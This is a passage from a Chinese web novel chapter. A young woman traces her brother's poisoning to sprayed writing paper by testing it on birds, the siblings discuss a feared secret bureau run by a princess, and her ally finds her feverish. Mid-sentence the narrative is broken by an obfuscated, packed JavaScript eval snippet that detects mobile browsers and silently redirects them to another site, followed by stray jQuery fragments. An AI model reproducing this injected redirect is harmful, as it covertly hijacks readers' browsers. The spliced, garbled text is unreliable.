不,下毒之人必定不能每日接触到温舟璟日常所用,若是每日每日地下毒,那人必定也会暴毙。
只能是一次性下毒,但下毒之物却是温舟璟日日都能用到的东西。
温云琛眼神扫过屋中器具,眼神一亮。
她似乎想到了!
14. 姻缘
旦日一早,温云琛便来到了温舟璟院中。
虽然昨日便已经听浮白说,温夕玉命人给他下了毒,但温舟璟心中始终存疑。
先不说温夕玉究竟会不会做这种事,就连他平日里都无知无觉,并未察觉何处不对,他这个妹妹又是如何知道的?
不仅知道,还十分确信。
温舟璟没有完全当真,只当温云琛只是做了个很真的梦,如今放任她把心中怀疑一一验过才好。
他总觉得,温云琛好像和之前和很大不同。
比如她从前不爱出门,近日却总是神秘兮兮地外出办事;
往常性子沉静,但却不似如今,脸上总是有近乎阴郁的表情;
还有这两次如同未卜先知的反应能力,不知究竟是城府够深,还是她真的早就知道什么。
但若是早就知道,之前为何一直隐忍不发?
温舟璟心中若有所思,静静地站在院子里看温云琛等人忙里忙外。
“妹妹,拿这些够了吗?”
“够了够了,若这些都不是,再看别的。”温云琛说。
温云琛将温舟璟平日看的书卷、所用笔墨、纸张都拿了出来,照之前的法子,用湿帕子仔仔细细擦过一遍,再将水挤在碗中让鸟雀喝下。
她昨日便想了许久,温舟璟并不是每日都在家中,有时学堂的夫子留下的课业多,他便会留在学堂中住宿,不会归家。
既然如此,千日散定然不会在他院子里的寻常物件上,而是在温舟璟在府中、在学堂都会用到的东西上。
温舟璟用不惯新笔和不同材质的麻纸,长年累月都是用着用旧的笔,除非真真实实用不了了才会换。麻纸也认定了那一家,府中从来都是去那里采买,他哪怕去学堂也是要带上这些东西。
书呆子每日都有四五个时辰都在书桌面前坐着,或是背些什么,或是写些什么,但定是会与纸笔接触的。
若说最可能的,一定是纸笔。
温云琛看着石桌上刚饮下毛笔水的鸟雀,聚精会神,大气都不敢喘一下。
过了一刻钟,鸟雀依旧活着。
她便将目光投向了另一边,另一只鸟雀刚饮下浸过麻纸的水。
一时间,心都提到了嗓子眼。温云琛又害怕又紧张,若这次还不行,她的线索便断了,甚至得回头去怀疑毒药究竟是不是千日散。
就在她沉思时,前一刻还啼叫了两声的鸟雀突然如石头般站住不动,下一刻便软绵绵地倒下去,丝丝缕缕的黑血从七窍渗出来。
温舟璟人都惊了:“这……真死了??”
就是这个!
温云琛狠狠松了一口气,心中一块重石落地,她总算找到了阿兄中毒的原因。
同时,心中对温夕玉和柳氏更加憎恨几分。
千日散本就无色无味,被喷洒在温舟璟日日所用的麻纸上,神不知鬼不觉就让他中毒,连人死了都看不出蹊跷。
若不是悬壶君这般见多识广的医士,便只有丹铜司才认得出来,可丹铜司之人怎会管一个普通读书人的死因?
可怜阿兄一个读书读得快傻了的书呆子,还得受她们这般算计。
温云琛冷着眼神,吩咐沉墨把温舟璟房中所有囤积的麻纸都带走:“阿兄,这麻纸是断不能再用了,你这毒只要没有接连闻上千日便能自行化去,我帮你寻另一家,你换一家麻纸用。”
温舟璟木讷地点点头,突然觉得自己头疼,背后出了一身冷汗。
嚯,他这么厉害,毒他还用得着这么厉害的毒?
其实只要换了他书卷上的内容,把马钱子说成是滋补良药,他也会真的吃。
“行,”温舟璟颤巍巍地坐下来,感觉有些泄力,“妹妹,我就问你一句——这种杀人不见血的毒药,你是怎么知道下在我这里的?”
温云琛怔了一下,随后移开目光,含糊其辞道:“血缘感应罢,总之就是梦到了。”
他才不信。
温舟璟追问:“是不是你身边那位……察觉的?”
“……嗯?”
温云琛脑袋还没反应过来,嘴先答应了:“没错,阿兄真聪明。”
罢了,让裴允晏察觉似乎更有说服力。
纠结片刻,温舟璟又问:“我听说,这毒药是丹铜司才有的?妹妹,听阿兄一句劝,千万不要与丹铜司扯上关系。”
“这是为何?”
温云琛知道他其实不太关心朝堂党派,按理来说,丹铜司的存在不会让温舟璟太在意才对。
温舟璟撑着力气,细细道:“那是何等穷凶极恶的恐怖地方?就算咱们是武将之家,也不是凭你一个小女娘能靠近的,那地方沾上一点关系都得掉层皮!你若是引得他们注意了,说不定他们还派人监视你。”
监视?
温云琛突然想到,若长公主要挑选继任者,是否也会以监视各家子女的方式来观察其品行作风?
“我可听说,上月丹铜司中杀了几个刺客,第二日就把那几个刺客的头颅串糖葫芦似的串起来,挂在行刑场展示了一日。”
温舟璟说着,打了个寒颤:“手段极其残忍,但丹铜司的人都跟无心一样,根本不怵。”
温云琛点点头:“也是应当,都当暗卫了,若还怕血、嫌手段残忍,那他们都不用干了。”
“……?”
温舟璟眼神怪异地看了一眼自己的妹妹,心想刚才她身上散发出的冷峻一定是他的错觉。
“咳……其实还有很重要的一点,”温舟璟继续苦口婆心道,“你知道长公主为何至今未成亲吗?”
温云琛从没想过这个,沉吟片刻,猜测:“难道是因为她手下的丹铜司需要冷血绝情,她为秉持公正才不动心?”
“怎么可能,是个人都会动心的,”温舟璟压低了声音,“我是这么听说的——长公主从前也有一段说好的姻缘,但你也知道她手中的丹铜司是何等强大的存在,她那位郎婿没什么权势,本想着不用担心夫家势力会吞并丹铜司,结果订亲没过多久长公主便发现郎婿有意结交官宦世家,取代她掌管丹铜司。”
温云琛皱了眉:“此等不要脸的人,长公主处置了吗?”
温舟璟没想到她第一反应竟然是要处置。
这么青春年少的小女娘,心中不想着姻缘惋惜,竟是如此铁面无私?
他擦了擦汗,说:“……当然啊,亲手杀了,尸身连着在每个他意图结交的官宦家门口各挂了几个时辰,听说放下来时都风干了不少。”
这就好,辜负真心还贪图权势,这便是下场。
温云琛满意地点点头:“是他活该——所以阿兄想告诉我什么?”
“我是想说,那人手中原本无权势都尚且如此,若你同丹铜司沾上关系,你那阿熠想要通过你得到些什么,恐怕会和他一样惨。”
温舟璟胳膊肘戳了戳发呆的温云琛:“阿兄是好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588608|171629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心提醒你,咱家不是贪图权势的,但那个谁……他家可是名副其实的权贵,他阿父是位列三公的。你若真喜欢他,未免意外,便不要和丹铜司沾上关系。”
丹铜司么……
其实温云琛从前并没有想过和丹铜司有什么关系。
一是对权力没兴趣,二是前世的她几乎废了,也用不着去想。
但如今……阿兄这么一说,她心中倒是有些想法。
温夕玉背后之人似乎大有来历,她只是一个将军之女,并无显赫身份,如何对抗?
要想保下家人,保下温氏,除了将温夕玉母女赶出去,少不得要与她背后的势力周旋,那时她靠什么?
裴允晏是想帮她没错,若她开口,他定会全力相助,他更不会吝啬将手上的权势给她用。
但若当中出了差错呢?她不能为了自己把裴允晏甚至裴家都拉进来。
说到底,得她自己有本事,有权力,甚至成为权力本身。
如若有一日要与裴允晏联手,她更希望他们二人是盟友,而非她是他的附属。
是并肩而立,而非躲在身后。
她要先有自保之力,才能谈儿女之情,否则都是枉然。
至于那时的裴允晏是不是想把手伸到丹铜司,她不知道。
若不能成姻缘,那便当一辈子盟友。
温云琛自认不是耽于儿女情长之人,她向来把所有事都端得很清楚,向来是最会权衡利弊、理智对事的。
但不知道为什么,方才想到她与裴允晏也许此生无姻缘之缘分,心中突然空落落的。
有些难过,像缺了一角。
“妹妹?阿琛?你有在听我说话吗?”温舟璟将手放在温云琛面前晃了几下,意图让她回神,“想什么呢?是不是心中有决策了?”
“……对,有决策了,”温云琛朝他笑笑,“阿兄点拨得刚好——你这院子不安全,最好把所有用具都验上一番,莫留祸根。浮白,你留下帮他安排。”
浮白应下来:“是。”
“妹……嘶——”
温舟璟本还想说是不是太谨慎了些,却在看到温云琛脸色的那一刻住嘴了。
他觉得,自己这妹妹似乎……不太高兴。
——
回到院中,温云琛一直在想着丹铜司,连午膳都没吃,说没胃口。
但不知怎的,心中越想越乱,连带着脑袋都糊成一片,想什么都想不通,思绪仿佛在一团浆糊中挣扎着,但怎么都冒不出头。
连周遭空气都干燥闷热得厉害,压得人喘不过气来。
不知是不是想得太入迷,连裴允晏已经走到跟前,温云琛都没有注意到。
裴允晏背着手,微微弯下腰,几乎凑到温云琛面前:“淑女在想什么?这么出神,都忘记我的药了。”
温云琛反应有些迟钝地转过眼珠,话语都磕巴:“哦……那个……我在想家中的事,温夕玉那边太麻烦了,对,太麻烦了……”
裴允晏没听过这么说话的温云琛,心中也有意逗她,便指着她的脸:“怎么脸红了,是因为我吗?”
话音刚落,温云琛便反应巨大地弹了一下,双手摸上自己的脸:“有吗?”
手抬起时擦到了裴允晏的指尖,他一愣。
怎么这般凉?
下一刻,他终于察觉了不对劲。收起笑脸,抬手摸了下温云琛的额头,随后蹙眉看向她:“你发烧了?”